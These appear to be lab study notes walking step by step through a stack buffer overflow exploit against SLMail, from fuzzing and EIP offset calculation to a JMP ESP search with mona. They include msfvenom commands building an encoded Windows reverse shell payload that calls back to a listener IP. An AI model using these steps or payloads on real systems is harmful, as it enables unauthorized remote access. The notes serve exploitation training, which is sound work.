BOF

Simple Buffer Overflow Walkthrough (SLMail example)

1. running 1_inititalFuzzer.py : program beaks at a payload length of 2700 bit

2. runing 2_lenCheck.py using different payload sizes
    Run:
    1 - 3000 writes 41414141 in EIP
    2 - 4000 writes 41414141 in EIP
    -> choosing a payload of size 4000

3. determine the location of the EIP value:
    1 - msf-pattern_create -l 4000
    2 - use the pattern as payload -> run 3_patternCheck.py
    3 - Determine Value in EIP using immunityDebugger -> 39694438 -> 9iD8 - 8Di9
    4 - Calculate the offset -> msf-pattern_offset -q 8Di9   -> 2606

4. Justifying the offset:
    1 - running 4_justifyOffset.py immunityDebugger shows 42424242 in EIP

5. Determine bad characters
    1 - running 5_badCharacers.py to determine bad characters -> look in
        immunityDebugger which char breaks the allChar sequence and delete it in second run
        Doing this until all bad char are determined
        -> deleted char in 5_badCharacers_deleted.py --> \x00\x0a\x0d

6. Find a way to execute shell code
    1 - ESP points to the beginnig of the "43434343" part of the payload (4_justifyOffset.py)
    2 - Therefore searching for a JMP ESP instruction on a static address:
        1 - !mona modules -> no memory protection & address range does not contain bad characters
                          -> Rebase | SafeSEH | ASLR | NXCompact | OS Dll
                              false   false   false false   true
        2 - Find JMP ESP instruction in determined dll (module)
            -> e - 'icon' -> select determined dll and double klick on it
            -> Loads the beginning of the executable region of the dll
            -> right klick -> Search for -> Command -> JMP ESP
            OR right klick -> Search for -> Command sequence -> PUSH ESP \n RETN
            OR Since the dll is not DEP protected other sections of the dll can also be executed
            Search outside the executable region of the dll:
                -> m - 'icon' to check which sections of the ddl are marked as executable
                -> use mona to find specfic bytes in a memory range
                    -> msf-nasm_shell -> JMP ESP -> op-code: FFE4
                    -> !mona find -s "\xff\xe4" -m ddlname.dll
                    -> Take one address of the results which does not contain any bad characters
                    -> Justify that address contains JMP ESP:
                        -> "blue arrow black points" - icon -> paste the specific address
        3 - replace the "B"-part with the address and set a breakpoint at the address in immunityDebugger (little endia
            -> when program pauses execution, the breakpoint should be reached.
            -> executing the JMP ESP instruction (next step) by (F7 or "red 90deg error with red dots"-icon)
            -> EIP shoul now point to the "C" Section of the payload

7. Including a Payload
    1 - Creating Payload using msfvenom:
        msfvenom -p windows/shell_reverse_tcp LHOST=192.168.178.73 LPORT=443 -e x86/shikata_ga_nai -b "\x00\x0a\x0d" -f
    2 - putting a nopsled (some \x90-Bytes) and the Exploit-Code into the script as follows. "A"s + Address + nopsled +
    3 - start listener according to the exploit
    4 - runnig script 7_Exploit-revShell.py
    5 - Catching the reverse shell

    The exploit breaks the program flow of SLMail. You get a shell but you can use the exploit only once until someone

8. Get a more stable exploit:
    1 - Creating Payload using msfvenom:
        msfvenom -p windows/shell_reverse_tcp LHOST=192.168.178.73 LPORT=443 EXITFUNC=thread -e x86/shikata_ga_nai -b "

    2 - Changing the payload of the 7_Exploit script
    3 - You now can run the script and catch the shell multiple times without breaking the SLMail program flow